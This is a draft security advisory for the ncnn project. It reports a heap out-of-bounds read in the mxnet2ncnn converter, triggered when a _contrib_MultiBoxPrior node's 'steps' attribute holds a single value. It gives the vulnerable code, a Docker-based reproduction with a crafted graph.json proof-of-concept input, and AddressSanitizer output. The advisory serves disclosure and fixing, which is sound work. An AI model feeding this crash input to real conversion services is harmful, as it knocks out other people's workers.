All advisories
Draft

Heap Out-Of-Bounds Read in MXNet Conversion

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Out-Of-Bounds Read in MXNet Conversion

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/mxnet/mxnet2ncnn.cpp:1687 in main
Sanitizer verdict: heap-buffer-overflow

Summary

mxnet2ncnn reads the steps attribute of a _contrib_MultiBoxPrior node as a variable-length float list but then indexes element [1] unconditionally. A graph whose steps tuple has a single value makes the converter read one float past a four-byte heap vector and abort, killing an automated conversion worker. The entry point is mxnet2ncnn <graph.json> <params.bin> [outparam] [outbin], which parses the attacker-supplied JSON in main.

Detail

MXNetNode::attr_af() builds the vector by sscanf-looping over whatever text the JSON attribute contains, so its length is entirely attacker-controlled — "(1.0)" yields exactly one element. The _contrib_MultiBoxPrior conversion guards only against the empty case, and the two-element assumption is hidden inside a short-circuited &&.

// tools/mxnet/mxnet2ncnn.cpp:1678
            std::vector<float> steps = n.attr("steps");
            if (steps.empty() || (steps[0] == -1.f && steps[1] == -1.f))
            {
                // auto step
                fprintf(pp, " 11=-233.0");
                fprintf(pp, " 12=-233.0");
            }
            else
            {
                fprintf(pp, " 11=%e", steps[1]);
                fprintf(pp, " 12=%e", steps[0]);
            }

With the PoC's "steps": "(1.0)", steps.size() is 1. steps.empty() is false, and steps[0] == -1.f is false, so && short-circuits and steps[1] is never evaluated in the condition — the guard therefore appears to hold while silently skipping the only place a length check could have happened. Control falls into the else branch, which reads steps[1] directly.

std::vector<float> allocated exactly one element, so its buffer is the 4-byte heap region in the report; steps[1] is the four bytes immediately after it, matching READ of size 4 ... 0 bytes after 4-byte region. The same pattern is used for the neighbouring offsets attribute, where offsets[0] == 0.5f similarly short-circuits before offsets[1].

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-out-of-bounds-read-in-mxnet-conversion && cd ncnn-poc-heap-out-of-bounds-read-in-mxnet-conversion

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > graph.json <<'POC_EOF'
{
  "nodes": [
    {
      "op": "_contrib_MultiBoxPrior",
      "attrs": {"steps": "(1.0)"}
    }
  ]
}
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/mxnet/mxnet2ncnn graph.json null

AddressSanitizer output:

fopen null failed
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000014 at pc 0x59903d4562ca bp 0x7ffe37dcb2b0 sp 0x7ffe37dcb2a0
READ of size 4 at 0x502000000014 thread T0
    #0 0x59903d4562c9 in main /ncnn/tools/mxnet/mxnet2ncnn.cpp:1687
    #1 0x71079ac1b1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #2 0x71079ac1b28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x59903d4459c4 in _start (/ncnn/build/tools/mxnet/mxnet2ncnn+0x99c4) (BuildId: 570831d83e6db66d37c79a6bef06d728c8377e18)

0x502000000014 is located 0 bytes after 4-byte region [0x502000000010,0x502000000014)
allocated by thread T0 here:
    #0 0x71079b296548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x59903d4826b1 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x59903d47626e in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x59903d47626e in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x59903d46c86b in void std::vector<float, std::allocator<float> >::_M_realloc_insert<float const&>(__gnu_cxx::__normal_iterator<float*, std::vector<float, std::allocator<float> > >, float const&) /usr/include/c++/13/bits/vector.tcc:459
    #5 0x59903d466cd6 in std::vector<float, std::allocator<float> >::push_back(float const&) /usr/include/c++/13/bits/stl_vector.h:1292
    #6 0x59903d4478fc in MXNetNode::attr_af(char const*) const /ncnn/tools/mxnet/mxnet2ncnn.cpp:223
    #7 0x59903d4658eb in MXNetNode::AttrProxy::operator std::vector<float, std::allocator<float> >() const /ncnn/tools/mxnet/mxnet2ncnn.cpp:48
    #8 0x59903d456117 in main /ncnn/tools/mxnet/mxnet2ncnn.cpp:1678
    #9 0x71079ac1b1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x71079ac1b28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #11 0x59903d4459c4 in _start (/ncnn/build/tools/mxnet/mxnet2ncnn+0x99c4) (BuildId: 570831d83e6db66d37c79a6bef06d728c8377e18)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/tools/mxnet/mxnet2ncnn.cpp:1687 in main

Credit

Zheng Yu @ DepthFirst